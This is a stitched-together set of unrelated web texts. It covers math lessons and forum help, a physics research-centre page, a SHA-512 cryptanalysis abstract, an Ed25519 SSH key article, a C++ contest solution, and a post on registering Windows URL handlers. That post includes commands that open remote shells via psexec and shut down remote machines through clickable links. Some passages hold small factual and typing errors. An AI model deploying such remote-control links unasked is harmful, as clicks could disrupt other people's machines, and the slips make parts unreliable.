5. Note that the limit can be used for any function. Let ${\displaystyle L(x)=2x}$. Say we want to find ${\displaystyle \lim _{x\to 10}L(x)}$. We can do that because as we get closer and closer to ${\displaystyle 10}$, we find that ${\displaystyle L(x)}$ gets closer and closer to ${\displaystyle 20}$. However, we can simplify the process by saying that ${\displaystyle \lim _{x\to L}f(x)=f(L)}$, given that a function is continuous. Because there are no jumps or asymptotes in ${\displaystyle f(i)=\left(ar^{i-1}\right)}$ as long as ${\displaystyle 0\leq |r|<1}$, we can state ${\displaystyle \sum _{i=1}^{\infty }f(i)={a \over 1-r}{\text{ if }}0\leq \left|r\right\vert <1}$. This is why we can use the limit and say that ${\displaystyle \lim _{k\to \infty }\sum _{i=1}^{k}\left(ar^{i-1}\right)=\sum _{i=1}^{\infty }\left(ar^{i-1}\right)={a \over 1-r}{\text{ if }}0\leq \left|r\right\vert <1}$.
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## Basic College Mathematics (9th Edition)
$2 \times 3^{2} \div 2 = 9$
Follow BEDMAS. In this case, we have Exponents, Division and Multiplication General equation $= a \times b \div c$ 1. Expand the exponent $3^{2} = b$ $3^{2} = 3 \times 3 = 9 = b$ 2. Divide $b$ by $c = b \div c$ $9 \div 2 = \frac{9}{2}$ 3. Multiply the last number by $(b \div c)$ $x = (a \times (b \div c))$ $x = (2 \times \frac{9}{2})$ $x = \frac{18}{2}$ $x = 9$
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# What is the percent change if the original number is 66 and the new number is 30?
Oct 22, 2016
$- 54.55$ (r.o to 2 decimal places)
#### Explanation:
Formula for percentage change =
(new number - original number)$/$original number $\times 100$
$= \frac{30 - 66}{66} \times 100$
=-54.55% (r.o to 2 decimal places)
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Browse Questions
# Which of the following is equal to $cos\;3x$?
A) $4\;cos^3x - 3\;cosx$
B) $4\;cos^3x + 3\;cosx$
C) $3\;cosx - 4\;cos^3x$
D) $3\;cos^3x - 4\;cosx$
related to an answer for: What is the value of $3\:sinA-4\;sin^3A$?
Can you answer this question?
Answer: $4\;cos^3x - 3\;cosx$
answered Mar 12, 2013
selected Mar 12, 2013 by pady_1
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# Contact
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Equal Opportunity Officer:
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Working Hours: Mon - Tue 9:30-15:30 and Wen 9:30-12:30
# Open positions
Postdoctoral and PhD positions
The Collaborative Research Center invites applications for a number of postdoctoral and Ph.D. positions. More informations can be found here or directly contact principal investigators.
# Welcome
The Collaborative Research Center “Particle Physics Phenomenology after the Higgs Discovery'' is a joint venture of theoretical particle physicists from Karlsruhe Institute of Technology, RWTH Aachen University, University of Siegen and Heidelberg University. It is supported by the German Research Foundation (DFG).
Particle physics has long established itself as an important research discipline focused on understanding Nature at a fundamental level. The current knowledge is summarized in a theory called the Standard Model (SM) of particle physics that describes strong and electroweak interactions. The recent discovery of the Higgs boson formally completes the SM and provides us with a consistent mathematical framework that can be used to describe Nature in fine detail. However, several aspects of the SM force us to raise questions about the foundations of this theory. Many proposed answers to these questions suggest that the SM is a low-energy approximation to a much more fundamental theory that we strive to discover.
Scientists of the CRC will conduct research in phenomenology of elementary particles focusing, in particular, on the physics of Higgs boson, physics of top quarks, electroweak gauge bosons and jets and flavour physics. Our goal is to develop the necessary methodologies to search for physics beyond the Standard Model through precise measurements at the LHC, flavour factories and elsewhere.
# News
16.06.2021 - The second (virtual) session Physicists in Industry will take place on Wednesday, June 16th at 4.00pm. Our second speaker is Dr. Waldemar Martens (Europeas Space Agency, ESA).
26.05.2021 - The annual meeting of the CRC TRR 257 “Particle Physics Phenomenology after the Higgs Discovery'' took place (virtually) in Aachen from May 26th to May 28th. Presentations are available online.
17.02.2021 - We are starting the Physicists in Industry series on career opportunities outside of Academia. The first (virtual) session will be with Marco Baumgartl (BMW Group) on Thursday, February 25th at 4.30pm.
08.10.2020 - The Annual meeting of the Collaborative Research Center took place in Siegen from Oct. 6th to Oct. 8th. The meeting was held in a hybrid (live and zoom) format. Presentations are available online.
03.07.2020 - We would like to welcome Gudrun Heinrich (KIT) and Alexander Lenz (Siegen) as two new principal investigators of the CRC. Within the CRC, Gudrun will develop numerical methods for computing two-loop amplitudes with many mass scales and Alexander will study possible ways to constrain non-perturbative parameters that appear within the heavy quark expansion.
30.06.2020 - We have recently started the new series of talks – the CRC colloquium. The idea is to have CRC PIs talk about their current research. The first talk of the series on “How to GAN” was given by Tilman Plehn (Heidelberg) on June 30th. The second talk on “Precision Flavor physics” will be given by Tobias Huber (Siegen) on July 13th.
08.06.2020 - We are happy to announce the First Young Scientists Forum of the SFB TRR 257 which will take place on June 09th, June 17th and June 23rd from 2pm - 4:30pm. The Young Scientists Forum is a series of remote seminars given by Ph.D. students and young Postocs from Aachen, Heidelberg, Karlsruhe and Siegen. It features short (12+3 minutes) presentations. The purpose of the event is to train the speakers to talk about their research in front of a large audience and to strengthen scientific collaborations during the corona lock-down.
# Recent Seminars
Flavour anomalies in rare B decays
Christoph Langenbruch (RWTH Aachen University), 20.07.2021, Aachen
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Maxim Pospelov, 15.07.2021, Karlsruhe
Semileptonic Penguins and the b to s Anomalies
Tobias Hurth (Johannes Gutenberg Universität Mainz), 13.07.2021, Aachen
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Abideh Jafari, 08.07.2021, Karlsruhe
New Particle Acceleration Methods for High Energy Physics
Ralph Assmann (DESY Hamburg), 06.07.2021, Aachen
Flavourful Windows to New Dynamics
Emmanuel Stamou(TU Dortmund), 05.07.2021, Siegen
Loop integrals and Higgs physics
Li Lin Yang(Peking U.), 28.06.2021, Siegen
# Recent Publications
Flavor-Violating Higgs Decays and Stellar Cooling Anomalies in Axion Models
Marcin Badziak, Giovanni Grilli di Cortona, Mustafa Tabet, Robert Ziegler
Cornering the Two-Higgs-Doublet Model Type II
Oliver Atkinson, Matthew Black, Alexander Lenz, Aleksey Rusov, James Wynne
Dark matter and lepton flavour phenomenology in a singlet-doublet scotogenic model
Maud Sarazin, Jordan Bernigaud, Björn Herrmann
Anomalous couplings in Higgs boson pair production at approximate NNLO QCD
Daniel de Florian, Ignacio Fabre, Gudrun Heinrich, Javier Mazzitelli, Ludovic Scyboz
Flavour anomalies and the muon g-2 from feebly interacting particles
Luc Darmè, Marco Fedele, Kamila Kowalska, Enrico Maria Sessolo
Two-Loop $\mathcal{O} \left(\alpha_t+\alpha_\lambda+\alpha_\kappa\right)^2$ Corrections to the Higgs Boson Masses in the CP-Violating NMSSM
Thi Nhung Dao, Martin Gabelmann, Margarete Mühlleitner, Heidi Rzehak
view all publications
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Cryptology ePrint Archive: Report 2014/945
Boomerang Attack on Step-Reduced SHA-512
Hongbo Yu, Dongxia Bai
Abstract: SHA-2 (SHA-224, SHA-256, SHA-384 and SHA-512) is hash function family issued by the National Institute of Standards and Technology (NIST) in 2002 and is widely used all over the world. In this work, we analyze the security of SHA-512 with respect to boomerang attack. Boomerang distinguisher on SHA-512 compression function reduced to 48 steps is proposed, with a practical complexity of $2^{51}$. A practical example of the distinguisher for 48-step SHA-512 is also given. As far as we know, it is the best practical attack on step-reduced SHA-512.
Category / Keywords: secret-key cryptography / SHA-512, hash functions, boomerang attack
Original Publication (in the same form): Inscrypt 2014
Date: received 16 Nov 2014
Contact author: yuhongbo at mail tsinghua edu cn
Available format(s): PDF | BibTeX Citation
Short URL: ia.cr/2014/945
[ Cryptology ePrint archive ]
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My Math Forum Find acceleration ... velocity is t sin 3t ms^-1
Calculus Calculus Math Forum
May 16th, 2017, 07:17 AM #1 Newbie Joined: May 2017 From: uk Posts: 9 Thanks: 0 Find acceleration ... velocity is t sin 3t ms^-1 Hi new here. stuck on this one: Find the acceleration of a particle at time "t" seconds given that the velocity is t sin 3t ms^-1.
May 16th, 2017, 08:14 AM #2
Math Team
Joined: Jul 2011
From: Texas
Posts: 2,751
Thanks: 1401
Quote:
Originally Posted by DomB Hi new here. stuck on this one: Find the acceleration of a particle at time "t" seconds given that the velocity is t sin 3t ms^-1.
$\dfrac{d}{dt} \bigg[v = t\sin(3t) \bigg]$
product rule ...
$a = \dfrac{dv}{dt} = t \cdot 3\cos(3t) + \sin(3t) \cdot 1$
May 16th, 2017, 09:45 AM #3 Newbie Joined: May 2017 From: uk Posts: 9 Thanks: 0 calculus acceleration Thank you for the help; much appreciated. One more question..... A particle starting from rest moves with velocity v ms^-1 where v=3t(t-4) find the range of values of t for which acceleration is positive. 3t-4*t is this the start? Last edited by skipjack; May 17th, 2017 at 06:24 AM.
May 16th, 2017, 10:29 AM #4
Math Team
Joined: Jul 2011
From: Texas
Posts: 2,751
Thanks: 1401
Quote:
Originally Posted by DomB Thank you for the help; much appreciated. One more question..... A particle starting from rest moves with velocity v ms^-1 where v=3t(t-4) find the range of values of t for which acceleration is positive. 3t-4*t is this the start?
No ...
$v = 3t(t-4) = 3t^2 - 12t$
$a = 6t - 12 > 0$
solve the inequality for $t$ ...
Last edited by skipjack; May 17th, 2017 at 06:24 AM.
May 16th, 2017, 10:39 AM #5 Newbie Joined: May 2017 From: uk Posts: 9 Thanks: 0 Thank you so much for the help; my calculus is very poor and needs much work. Really appreciate your taking the time to help. Last edited by skipjack; May 17th, 2017 at 06:18 AM.
Tags acceleration, find, ms1, sin, velocity
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tl;dr: This article is about the keys that are used for authentication in the SSH protocol in particular it is about Ed25519, which is a fast and secure elliptic-curve signature algorithm.
The Secure Shell (SSH) protocol is the most widely used approach for securely logging into and administering remote servers. SSH was invented by Tatu Ylonen in 1995 and has been standardized in The Secure Shell (SSH) Protocol Architecture (RFC4251), which consists of three parts:
1. The Secure Shell (SSH) Transport Layer Protocol (RFC4253) for server authentication, confidentiality, and integrity. Usually the SSH transport layer protocol will be run over TCP/IP.
2. The Secure Shell (SSH) Authentication Protocol (RFC4252) for authenticating a client to a server. It runs over the SSH transport layer protocol.
3. The Secure Shell (SSH) Connection Protocol (RFC4254). It provides interactive login sessions, remote execution of commands, forwarded TCP/IP connections, and forwarded X11 connections. All of these channels are multiplexed into a single encrypted tunnel.
In order to work, SSH needs three kinds of cryptographic algorithms:
1. A signature algorithm, which is used by the client to verify that it is connecting to the right server, and which may be used by the client to authenticate to a server (instead of just providing a user name and password).
2. A key exchange algorithm, which is used to negotiate a symmetric key for encrypting data between client and server during an SSH session. For that two schemes are available: Diffie-Hellman-Merkle or ECDH, where the latter is an elliptic-curve-based variant of Diffie-Hellmann-Merkle.
3. A symmetric cipher, which is used to encrypt the data between client and server once the key exchange and authentication is complete.
We won't go into the details of key exchange algorithms and symmetric ciphers here, but instead focus on the signature algorithms in SSH.
### Signatures for SSH Client Authentication
Within the SSH Authentication Protocol, one central element is the key that a client uses to authenticate to a server. Such a key is asymmetric, i.e., it consists of a private/public key pair and the private key is only known to the client.
”An authentication system prevents the unauthorized injection of messages into a public channel, assuring the receiver of a message of the legitimacy of its sender.”
— Whitfield Diffie and Martin Hellmann, 1976
For the sake of completeness, we should mention that an SSH server has to have its own private/public key pair too, of course, so that clients can also verify that they are connecting to the right server during the transport layer establishment.
In simple terms, when a client wants to authenticate with a key (and not with a password) to an OpenSSH server, the following happens:
1. A prerequisite is that both client and server have already established an SSH transport layer connection, i.e., server authentication has already been performed and both client and server have negotiated a shared session key according to the SSH Transport Layer Protocol (RFC4253).
2. In the first optional (but very typical) step, the client will offer one or more IDs of its keys to the server by sending its user name together with key fingerprints to the server.
3. The server searches the authorized_keys2 file of that user name for the key ID(s).
4. If the offered key ID matches, the server responds with an acknowledgement.
5. At this time, the user behind the SSH client will typically be required to enter his or her password for the corresponding private key (because it is generally a very good idea to locally encrypt all your private key files).
6. The client then compiles a user authentication request that comprises of the user name, the public key algorithm name, the public key to be used for authentication, and a signature. The value of this signature is a signature by the corresponding private key over the following data: the session identifier of the current SSH transport layer session, the user name, the service name, the public key algorithm name, and the public key to be used for authentication.
7. The server verifies that the signature in the user authentication request is correct, i.e., that the signature matches the public key of the user.
8. Iff the signature is correct, then the client is authenticated and the server sends an acknowledgement back to the client.
After that, typically the SSH Connection Protocol (RFC4254) is used to establish an interactive login session, or open a tunnel, etc.
At the time of this writing, OpenSSH 8.0 supports four different types of signatures:
• rsa
• dsa
• ecdsa
• ed25519
The probably more widely known signature types are RSA and DSA.
RSA is named after its inventors Rivest, Shamir, and Adleman and was published in the seminal paper A method for obtaining digital signatures and public-key cryptosystems in 1978. It is a widely used asymmetric cryptographic system, that can be used to both encrypt and/or sign messages.
”The era of 'electronic mail' may soon be upon us”
— Ron Rivest, Adi Shamir, and Leonard Adleman, 1978
For example, you can generate yourself a 4096-bit SSH key of type rsa with 200 rounds for the key derivation function via the following command:
# The following command is for illustration only, read on for ed25519
ssh-keygen -t rsa -b 4096 -a 200 -C "me@host" -f ~/.ssh/my_new_id_rsa
Just in case you have never heard of using a key derivation function (KDF) for your keys: look it up now, it is important for protecting your keys, should they ever get stolen.
DSA, the Digital Signature Algorithm, is another signature algorithm that is based on private/public key pairs and which was adopted by the U.S. Department of Commerce in the Federal Information Processing Standards Publication no. 186 in 1994. However, DSA is not considered secure any more and should not be used. Also, if you use your DSA key to sign a message on a machine that has a weak random number generator and someone is sniffing enough of your traffic then your private key can be derived by the attacker.
The other two key types ECDSA and Ed25519 are based on elliptic curves.
ECDSA, the Elliptic Curve Digital Signature Algorithm, is based on a proposal by John C. Anderson in the Communications of the ACM: Responses to NIST's proposal in 1992, which was adopted as an ISO standard (ISO/IEC 14888-3:1998) and ANSI standard (ANSI X9.62) in 1998. The National Institute of Standards and Commerce (NIST), which is part of the U.S. Department of Commerce, also adopted ECDSA in the Federal Information Processing Standards Publication no. 186-2 in 2000. NIST also proposed a special curve for ECDSA, called P-256, which some people still consider suspicious.
To cut a long story short: ECDSA suffers from the same random number risk as DSA — a weak random number generator for message signing endangers the private key. The company Sony had to experience this painfully in 2010: they used a static (!) "random" number for their ECDSA implementation in the Playstation 3. That signature was intended to sign applications for the console and someone managed to retrieve the private key. If you are interested in the details of the PS3 hack, then watch the video of the original talk at 27c3. Of course, ECDSA itself is not a bad signature. It just requires you to take very good care of your random number generators on every machine where you use your key.
This brings us to Ed25519.
### Ed25519
Ed25519 is a public-key signature algorithm that was proposed by Daniel J. Bernstein, Niels Duif, Tanja Lange, Peter Schwabe, and Bo-Yin Yang in their paper High-speed high-security signatures (doi.org/10.1007/s13389-012-0027-1) in 2011. More precisely, Ed25519 is an instance of the Edwards-curve Digital Signature Algorithm (EdDSA), where a twisted Edwards curve birationally equivalent to the curve called Curve25519 is used. Curve25599 is a very fast elliptic-curve-Diffie-Hellmann function that was proposed by Daniel J. Bernstein in his paper Curve25519: new Diffie-Hellman speed records in 2006.
For the mathematically interested: the Curve25519 function is $F_{p^2}$-restricted $x$-coordinate scalar multiplication on $E(F_{p^2})$, where $p$ is the prime number $2^{255} − 19$ and $E$ is the elliptic curve
$$y^2 = x^3 + 486662x^2 + x$$
Hence the name Curve25519.
There are several aspects that make Ed25519 appealing for authentication in SSH:
• Ed25519 is considered to be secure (similar difficulty to breaking a ~3000-bit RSA key).
• Creating a new signature with Ed25519 does not require a random input. This is very desirable from a security perspective (see the Playstation3 hack above...).
• Ed25519 is resilient to hash-function collisions. This is good because it provides some additional protection in case the selected hash function contained some weakness.
• Ed25519 is immune to cache-timing attacks, hyperthreading attacks, and other side-channel attacks that rely on leakage of addresses through the CPU cache. This is also very desirable from a security perspective.
• Ed25519 does not use secret branch conditions, i.e., it is immune to side-channel attacks that rely on leakage of information through the branch-prediction unit.
See the original paper for more details on the advantages of Ed25519. For example, Ed25519 is also a very fast signature algorithm, the keys and signatures a very small etc. — this is not so important for interactive SSH logins, but very crucial for other application domains such as web servers.
However, one very common question is:
”Wouldn't it be better to use 4096-bit RSA instead of Ed25519?”
The short answer to this is: as long as the key strength is good enough for the foreseeable future, it doesn't really matter. Because here we are considering a signature for authentication within an SSH session. The cryptographic strength of the signature just needs to withstand the current, state-of-the-art attacks.
If someone managed to break an Ed25519 (or RSA, DSA, ECDSA) key today, the attacker could start impersonating the SSH client or server, of course. However, the attacker could not decrypt past SSH sessions, because these session keys have been negotiated by an ephemeral Diffie-Hellman-Merkle key exchange, which provides Perfect Forward Secrecy.
To summarize: Ed25519 is a modern and secure public-key signature algorithm that brings many desirable features, in particular the resistance against several side-channel attacks.
### So, how to generate an Ed25519 SSH key?
\$ ssh-keygen -t ed25519 -a 200 -C "you@host" -f ~/.ssh/my_new_id_ed25519
Make sure to use a strong password for your private key!
The parameter -a defines the number of rounds for the key derivation function. The higher this number, the harder it will be for someone trying to brute-force the password of your private key — but also the longer you will have to wait during the initialization of an SSH login session.
If you also run an SSH server, you can use the same command to generate an ed25519 host key on your server (and then place the key under /etc/ssh/ and add it to your /etc/ssh/sshd_conf).
Mozilla's Infosec group has summarized some good OpenSSH configuration tips here: https://infosec.mozilla.org/guidelines/openssh
### Notes:
[1]: In 2002, Martin E. Hellman wrote in the IEEE Communications Magazine:
”The system I called the ax1x2 system in this paper has since become known as Diffie-Hellman key exchange. While that system was first described in a paper by Diffie and me, it is a public key distribution system, a concept developed by Merkle, and hence should be called 'Diffie-Hellman-Merkle key exchange' if names are to be associated with it. I hope this small pulpit might help in that endeavor to recognize Merkle’s equal contribution to the invention of public key cryptography. Space does not permit an explanation of the quirk of fate that seems to have deprived Merkle of the credit he deserves, but a quirk it is.”
### References:
Photo by lum3n.com
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# 题目
## Description
Have you ever played the Warcraft It doesn't matter whether you have played it !We will give you such an experience.There are so many Heroes in it,but you could only choose one of them.Each Hero has his own skills.When such a Skill is used ,it costs some MagicValue,but hurts the Boss at the same time.Using the skills needs intellegence,one should hurt the enemy to the most when using certain MagicValue.
Now we send you to complete such a duty to kill the Boss(So cool~~).To simplify the problem:you can assume the LifeValue of the monster is 100, your LifeValue is 100,but you have also a 100 MagicValue!You can choose to use the ordinary Attack(which doesn't cost MagicValue),or a certain skill(in condition that you own this skill and the MagicValue you have at that time is no less than the skill costs),there is no free lunch so that you should pay certain MagicValue after you use one skill!But we are good enough to offer you a "ResumingCirclet"(with which you can resume the MagicValue each seconds),But you can't own more than 100 MagicValue and resuming MagicValue is always after you attack.The Boss is cruel , be careful!
## Input
There are several test cases,intergers n ,t and q (0<n<=100，1<=t<=5，q>0) in the first line which mean you own n kinds of skills ,and the "ResumingCirclet" helps you resume t points of MagicValue per second and q is of course the hurt points of LifeValue the Boss attack you each time(we assume when fighting in a second the attack you show is before the Boss).Then n lines follow,each has 2 intergers ai and bi(0<ai,bi<=100).which means using i skill costs you ai MagicValue and costs the Boss bi LifeValue.The last case is n=t=q=0.
## Output
Output an interger min (the minimun time you need to kill the Boss)in one line .But if you die(the LifeValue is no more than 0) ,output "My god"!
4 2 25
10 5
20 10
30 28
76 70
4 2 25
10 5
20 10
30 28
77 70
0 0 0
4
My god
## Hint
When fighting,you can only choose one kind of skill or just to use the ordinary attack in the whole second,the ordinary attack costs the Boss 1
points of LifeValue,the Boss can only use ordinary attack which costs a whole second at a time.Good Luck To You!
# 题解
magic[i] hurt[i] 表示第 i 个技能的耗蓝和伤害( magic[0] = 0 hurt[0] = 1 代表普通攻击)
dp[i][j] 表示第 i 秒后,剩下 j 点法力值能造成的最高伤害
dp[i][j - magic[k]] = max{ dp[i-1][j] + hurt[k] }
# 代码
/*
By:OhYee
Github:OhYee
Blog:http://www.oyohyee.com/
Email:[email protected]
かしこいかわいい？
エリーチカ！
*/
#include <cstdio>
#include <algorithm>
#include <cstring>
#include <cmath>
#include <string>
#include <iostream>
#include <vector>
#include <list>
#include <queue>
#include <stack>
#include <map>
#include <set>
#include <functional>
#include <bitset>
using namespace std;
const int maxn = 105;
int dp[2][maxn];
int magic[maxn];
int hurt[maxn];
bool Do() {
int n,t,q;
scanf("%d%d%d",&n,&t,&q);
if(n == 0 && t == 0 && q == 0)
return false;
memset(dp,0,sizeof(dp));
for(int i = 1;i <= n;i++)
scanf("%d%d",&magic[i],&hurt[i]);
magic[0] = 0;
hurt[0] = 1;
int time = (100 % q == 0) ? 100 / q : 100 / q + 1;
for(int i = 1;i <= time;i++) {
int *thisdp = dp[i & 1];
int *lastdp = dp[!(i & 1)];
for(int j = 100;j >= 0;j--) {
thisdp[j] = 0;
if(j == 100)
for(int k = 1;k <= t;k++)
lastdp[100] = max(lastdp[100],lastdp[100 - k]);
else
if(j - t >= 0)
lastdp[j] = lastdp[j - t];
else
lastdp[j] = 0;
}
for(int j = 100;j >= t;j--)
for(int k = 0;k <= n;k++)
if(j - magic[k] >= 0) {
thisdp[j - magic[k]] = max(
thisdp[j - magic[k]],
lastdp[j] + hurt[k]
);
if(thisdp[j - magic[k]] >= 100) {
printf("%d\n",i);
return true;
}
}
}
printf("My god\n");
return true;
}
int main() {
while(Do());
return 0;
}
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On Windows, it’s possible to create new “protocol handlers” so that URLs like ssh://hostname, telnet://hostname, etc. are recognized and launch some application (e.g., PuTTY). The only trickery is that Windows will pass the entire protocol string to the application (e.g., PuTTY will be launched with the command line putty telnet://hostname). For applications that understand the protocol prefix this is fine, but otherwise we have to employ a bit of scripting trickery to strip it off. Following this SO answer led to the possibility of using protocol handlers for all kinds of sysadmin things (the advantage being that protocol links can be embedded in wikis, Visio diagrams, hotsheets, inventory systems, etc.). As creating the required registry keys is a bit of a pain, I wrote regproto.js, a script for registering new protocol handlers.
Some examples should make its usage clear (run these from a command prompt, in the folder where you saved regproto.js):
regproto.js ping "ping -t %%HOST%%"
regproto.js telnet "putty -telnet %%HOST%%"
regproto.js ssh "putty -ssh %%HOST%%"
regproto.js cmd "psexec \\%%HOST%% cmd.exe"
regproto.js shutdown "shutdown /s /m \\%%HOST%%"
regproto.js restart "shutdown /r /m \\%%HOST%%"
regproto.js manage "mmc compmgmt.msc /computer=\\%%HOST%%"
regproto.js ps "powershell -NoExit -Command Enter-PSSession -ComputerName %%HOST%%"
regproto.js rdp "mstsc /v:%%HOST%%"
The above will register
• A ping:// handler which will open a console window with ping -t running on the host.
• The usual ssh:// and telnet:// handlers, linked to PuTTY (assuming it’s in your %PATH%).
• A cmd:// handler that will use psexec to launch a command interpreter on the remote machine.
• A shutdown:// handler that will shutdown the remote machine.
• A restart:// handler that will restart the remote machine.
• A manage:// handler that will launch the Computer Management snapin connected to the remote machine.
• A ps:// handler that will run Powershell on the remote machine.
• A rdp:// handler that will launch a remote desktop connection to the target machine.
The only required arguments are the protocol name, and the command string to launch. The command string can refer to %%HOST%%, the “hostname” (or whatever) given in the protocol://hostname. Note that this could include a username and password, if your application understands those (PuTTY does, so you can do telnet://username@hostname and it will work).
The full documentation for regproto is in a big comment at the top of the file (pay special attention to the note at the bottom about custom protocols in Firefox and Chrome).
regproto will create a script urllaunch.js in %SystemRoot%\System32. This script is used to launch applications with the URL given, but with the protocol stripped off. It’s possible that (e.g.) antivirus might block the creation of this script, in which case you won’t be able to register any protocols.
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Remembering the formulas for circles
It is key that you know a way to remember the two formulas for circles. He is an easy method to do so.
|
<img src="https://d5nxst8fruw4z.cloudfront.net/atrk.gif?account=iA1Pi1a8Dy00ym" style="display:none" height="1" width="1" alt="" />
# 6.6: Bargain Shopping
Difficulty Level: At Grade Created by: CK-12
Look at the signs below for the price of pastels at two different stores. Which store has the better buy for 3 boxes of pastels? In this concept, we will practice comparing the prices of items in order to determine which store has the better buy.
### Guidance
In order to figure out which item is the better buy, like in the question above, we can use the problem solving steps to help.
• Start by describing what you see the pictures.
• Next, figure out what your job is in this problem. In all of these problems your job will be to figure out which item is the better buy.
• Then, make a plan for how you will solve. In these problems, you will want to figure out the unit price of the item at one of the stores. Then, compare the price for the number of items in the problem.
• Next, solve the problem.
• Finally, check to make sure that the price at the store you chose is lower.
#### Example A
Which store has the better buy for 3 brushes? How did you decide?
Solution:
We can use problem solving steps to help.
\begin{align*}& \mathbf{Describe:} && \text{Two stores sell brushes.}\!\\ &&& \text{Art's Supplies:} \ 2 \ \text{brushes for} \ \18\!\\ &&& \text{Picture It:} \ 3 \ \text{brushes for} \ \28\!\\ & \mathbf{My \ Job:} && \text{Decide which store has the better buy.}\!\\ & \mathbf{Plan:} && \text{I'll start with Art's Supplies.}\!\\ &&& \text{I can easily figure out the price of one brush at that store.}\!\\ &&& \text{Then I'll find the cost of} \ 3 \ \text{brushes at Art's Supplies and compare with Picture It.}\!\\ & \mathbf{Solve:} && \text{Art's Supplies:} \ 2 \ \text{brushes for} \ \18 \ \text{is} \ 18 \div 2, \ \text{or} \ \9 \ \text{per brush.}\!\\ &&& \qquad \qquad \quad 3 \ \text{brushes at Art's Supplies are} \ 3 \times 9, \ \text{or} \ \27.\!\\ &&& \qquad \qquad \quad \27 \ \text{is less than} \ \28. \ \text{So Art's Supplies has the better buy.}\!\\ & \mathbf{Check:} && \text{Art's Supplies:} \ \18 \div 2= 9 \ \text{and} \ 3 \times 9 = \27.\!\\ &&& \qquad \qquad \quad \27 < \28\end{align*}
#### Example B
Which store has the better buy for 6 jars of oil paints? How did you decide?
Solution:
We can use problem solving steps to help.
\begin{align*}& \mathbf{Describe:} && \text{Two stores sell jars of oil paints.}\!\\ &&& \text{Art's Supplies:} \ 5 \ \text{jars for} \ \35\!\\ &&& \text{Picture It:} \ 6 \ \text{jars for} \ \43\!\\ & \mathbf{My \ Job:} && \text{Decide which store has the better buy.}\!\\ & \mathbf{Plan:} && \text{I'll start with Art's Supplies.}\!\\ &&& \text{I can easily figure out the price of one jar at that store.}\!\\ &&& \text{Then I'll find the cost of} \ 6 \ \text{jars at Art's Supplies and compare with Picture It.}\!\\ & \mathbf{Solve:} && \text{Art's Supplies:} \ 5 \ \text{jars for} \ \35 \ \text{is} \ 35 \div 5, \ \text{or} \ \7 \ \text{per jar.}\!\\ &&& \qquad \qquad \quad 6 \ \text{jars at Art's Supplies are} \ 6 \times 7, \ \text{or} \ \42.\!\\ &&& \qquad \qquad \quad \42 \ \text{is less than} \ \43. \ \text{So Art's Supplies has the better buy.}\!\\ & \mathbf{Check:} && \text{Art's Supplies:} \ \35 \div 5 = 7 \ \text{and} \ 6 \times 7 = \42.\!\\ &&& \qquad \qquad \quad \42 < \43\end{align*}
#### Example C
Which store has the better buy for 4 palettes? How did you decide?
Solution:
We can use problem solving steps to help.
\begin{align*}& \mathbf{Describe:} && \text{Two stores sell palettes.}\!\\ &&& \text{Art's Supplies:} \ 3 \ \text{palettes for} \ \15\!\\ &&& \text{Picture It:} \ 4 \ \text{palettes for} \ \19\!\\ & \mathbf{My \ Job:} && \text{Decide which store has the better buy.}\!\\ & \mathbf{Plan:} && \text{I'll start with Art's Supplies.}\!\\ &&& \text{I can easily figure out the price of one palette at that store.}\!\\ &&& \text{Then I'll find the cost of} \ 4 \ \text{palettes at Art's Supplies and compare with Picture It.}\!\\ & \mathbf{Solve:} && \text{Art's Supplies:} \ 3 \ \text{palettes for} \ \15 \ \text{is} \ 15 \div 3, \ \text{or} \ \5 \ \text{per palette.}\!\\ &&& \qquad \qquad \quad 4 \ \text{palettes at Art's Supplies are} \ 4 \times 5, \ \text{or} \ \20.\!\\ &&& \qquad \qquad \quad \19 \ \text{is less than} \ \20. \ \text{So Picture It has the better buy.}\!\\ & \mathbf{Check:} && \text{Art's Supplies:} \ \15 \div 3 = 5 \ \text{and} \ 4 \times 5 = \20.\!\\ &&& \qquad \qquad \quad \19 < \20\end{align*}
#### Concept Problem Revisited
We can use problem solving steps to help.
\begin{align*}& \mathbf{Describe:} && \text{Two stores sell boxes of pastels.}\!\\ &&& \text{Art's Supplies:} \ 3 \ \text{boxes for} \ \25\!\\ &&& \text{Picture It:} \ 4 \ \text{boxes for} \ \28\!\\ & \mathbf{My \ Job:} && \text{Decide which store has the better buy.}\!\\ & \mathbf{Plan:} && \text{I'll start with Picture It.}\!\\ &&& \text{I can easily figure out the price of one box of pastels at that store.}\!\\ &&& \text{Then I'll find the cost of} \ 3 \ \text{boxes of pastels at Picture It and compare with Art's Supplies.}\!\\ & \mathbf{Solve:} && \text{Picture It:} \ 4 \ \text{boxes for} \ \28 \ \text{is} \ 28 \div 4, \ \text{or} \ \7 \ \text{per box.}\!\\ &&& \qquad \qquad \quad 3 \ \text{boxes at Picture It are} \ 3 \times 7, \ \text{or} \ \21.\!\\ &&& \qquad \qquad \quad \21 \ \text{is less than} \ \25. \ \text{So Picture It has the better buy.}\!\\ & \mathbf{Check:} && \text{Picture It:} \ \28 \div 4 = 7 \ \text{and} \ 3 \times 7 = \21.\!\\ &&& \qquad \qquad \quad \21 < \25\end{align*}
### Vocabulary
A unit price is the cost of one item. In this concept, we are given the overall price for multiple items and need to first find the unit price in order to help us to figure out which store has the better buy.
### Guided Practice
1. Which store has the better buy for 7 palette knives? How did you decide?
2. Which store has the better buy for 4 pads of drawing paper? How did you decide?
3. Which store has the better buy for 2 canvases? How did you decide?
\begin{align*}1. \ \text{Picture It; Art's Supplies:} \ 40 \div 5 = \8/\text{knife and} \ 7 \times 8 = \56 \ \text{for} \ 7 \ \text{knives.}\!\\ {\;} \quad \54 < \56.\end{align*}
\begin{align*}2. \ \text{Art's Supplies; Picture It:} \ 60 \div 6 = \10/\text{pad and} \ 4 \times 10 = \40 \ \text{for} \ 4 \ \text{pads.}\!\\ {\;} \quad \37 < \40.\end{align*}
\begin{align*}3. \ \text{Picture It; Picture It:} \ 27 \div 3 = \9/\text{canvas and} \ 2 \times 9 = \18 \ \text{for} \ 2 \ \text{canvases.}\!\\ {\;} \quad \18 < \23.\end{align*}
### Practice
Use the facts on the signs. Figure out the better buy.
1. Which store has the better buy for 3 carnations? How did you decide?
2. Which store has the better buy for 3 mum plants? How did you decide?
3. Which store has the better buy for 9 bud vases? How did you decide?
4. Which store has the better buy for 6 pounds of potting soil? How did you decide?
5. Which store has the better buy on 7 bamboo shoots? How did you decide?
6. Which store has the better buy for 6 roses? How did you decide?
### Notes/Highlights Having trouble? Report an issue.
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Difficulty Level:
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Date Created:
Jan 18, 2013
Mar 23, 2016
# We need you!
At the moment, we do not have exercises for Bargain Shopping.
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# 5.8 Causal Models
